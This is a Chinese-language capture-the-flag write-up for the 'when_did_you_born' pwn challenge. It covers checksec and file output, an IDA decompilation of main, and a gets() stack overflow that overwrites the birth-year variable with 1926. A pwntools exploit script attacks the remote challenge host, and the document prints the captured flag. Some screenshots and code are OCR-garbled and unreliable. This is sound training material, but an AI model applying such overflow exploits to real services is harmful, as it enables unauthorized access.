```
giantbranch@ubuntu:~/CTF/PWN/pwn3$ checksec when_did_you_born

| 'home/giantbranch/CTF/PWN/pwn3\squares when_did_you_born
| Arch: amd64-64-little
| RELRO: Partial RELRO
| Stack: Canary found
| NX: NX enabled
| PIE: No PIE (0x400000)
| giantbranch@ubuntu:~/CTF/PWN/pwn3\squares file when_did_you_born
| when_did_you_born: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-ol-so.2, for GNU/Linux 2.6.32, Build
| ID[sha1]=718185b5ec9c26eb9aeccfa0ab53678e34fee00a_stripped
| giantbranch@ubuntu:~/CTF/PWN/pwn3\squares
```

- 先用checksec查看它开了哪些保护
- 在用file看一下文件类型
- nc连接,尝试运行一下,看看都有什么功能

```
🔊 🖨 📵 giantbranch@ubuntu: ~/CTF/PWN/pwn3
giantbranch@ubuntu:~/CTF/PWN/pwn3$ checksec when_did_you_born
[*] '/home/giantbranch/CTF/PWN/pwn3/when_did_you_born'
       Arch:
                      amd64-64-little
      RELRO:
                      Partial RELRO
       Stack:
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       PIE:
giantbranch@ubuntu:~/CTF/PWN/pwn3$ file when_did_you_born
when_did_you_born: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamica
lly linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, Build
ID[sha1]=718185b5ec9c26eb9aeccfa0ab53678e34fee00a, born
giantbranch@ubuntu:~/CTF/PWN/pwn3$ ./when_did_you_born
bash: ./when_did_you_born: Permission denied
giantbranch@ubuntu:~/CTF/PWN/pwn3$ nc 111.198.29.45 33219
What's Your Birth?
2000
What's Your Name?
lu
You Are Born In 2000
You Are Naive.
You Speed One Second Here.
giantbranch@ubuntu:~/CTF/PWN/pwn3$
```

• 然后放入IDA中,找到main函数,F5

• 分析如下函数

```
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 result; // rax@4
  __int64 v4; // rdx@9
  char v5; // [sp+0h] [bp-20h]@5
  unsigned int v6; // [sp+8h] [bp-18h]@1
  __int64 v7; // [sp+18h] [bp-8h]@1
  v7 = *MK_FP(\_FS\_, 40LL);
  setbuf(stdin, OLL);
  setbuf(stdout, OLL);
  setbuf(stderr, OLL);
  puts("What's Your Birth?");
  __isoc99_scanf("%d", &v6);
  while ( getchar() != 10 )
   ;
  if (v6 == 1926)
    puts("You Cannot Born In 1926!");
   result = OLL;
  }
  else
    puts("What's Your Name?");
    gets(&v5);
    printf("You Are Born In %d\n", v6);
    if (v6 == 1926)
      puts("You Shall Have Flag.");
      system("cat flag");
    }
    else
      puts("You Are Naive.");
      puts("You Speed One Second Here.");
    }
    result = 0LL;
  v4 = *MK_FP(\underline{FS}, 40LL) \wedge v7;
  return result;
}
```

分析结果如下:

如果第一次输入的v6=1926,则程序直接跳过cat flag,因此第一次输入v6的值为1926,但是程序在 else里面要判断v6 == 1926,如此矛盾之下,当然想到了溢出覆盖了,这里是栈溢出,观察代码中的溢出点,发现get(&v5)这个地方可以作为溢出点(get函数没有做任何限制),只需要在输入v5(name)的时候覆盖掉原来的v6的值,替换为1926即可达到目的,cat flag

• 首先, 查看v6和v5之间相差多少个字节, 确定要填充的字节数

```
: undefine
·00000000000000000000000; Use data definition commands to create local variables and fu
db ?
-00000000000000020 var_20
                             db ? ; undefined
-00000000000000001F
-0000000000000001E
                             db ? ; undefined
-00000000000000001D
                             db ? ; undefined
-00000000000000001C
                             db ? ; undefined
-00000000000000001B
                             db ? : undefined
-0000000000000001A
                             db ? : undefined
-000000000000000019
                             db ? ; undefined
-0000000000000018 var_18
                             dd ?
-00000000000000014
                             db ? ; undefined
-000000000000000013
                             db ? ; undefined
-000000000000000012
                             αν ? · undefined
-00000000000000011
                             db ? ; undefined
-00000000000000010
                             db ? ; undefined
-000000000000000F
                             db ? ; undefined
-00000000000000000E
                             db ? ; undefined
-0000000000000000D
                             db ? ; undefined
-0000000000000000C
                             db ? ; undefined
-00000000000000000B
                             db ? ; undefined
-00000000000000000
                             db ? ; undefined
- 000000000000000000
                             dh ? · undefined
```

相差8个字节数

编写exp

```
from pwn import *

#设置目标机的信息,用来建立远程链接,url或ip指明了主机,port设置端口
r = remote("111.198.29.45", 33219)

#设置payload,准备覆盖
payload = 'a' * (0x20 - 0x18) + p64(1926)

#这是接受消息,直到什么停止这样
r.recvuntil("what's Your Birth?\n")

#发送消息
r.sendline("2000")

r.recvuntil("what's Your Name?\n")
r.sendline(payload)

print r.recv()
print r.recv()
```

```
giantbranch@ubuntu: ~/CTF/PWN/pwn3

giantbranch@ubuntu: ~/CTF/PWN/pwn3$ python exp3.py
[+] Opening connection to 111.198.29.45 on port 33219: Done
You Are Born In 1926
You Shall Have Flag.
cyberpeace{c967416121c752cd5f57aac9c0f56859}

Traceback (most recent call last):
File "exp3.py" line 14 in cmodules
```

结果

cyberpeace{c967416121c752cd5f57aac9c0f56859}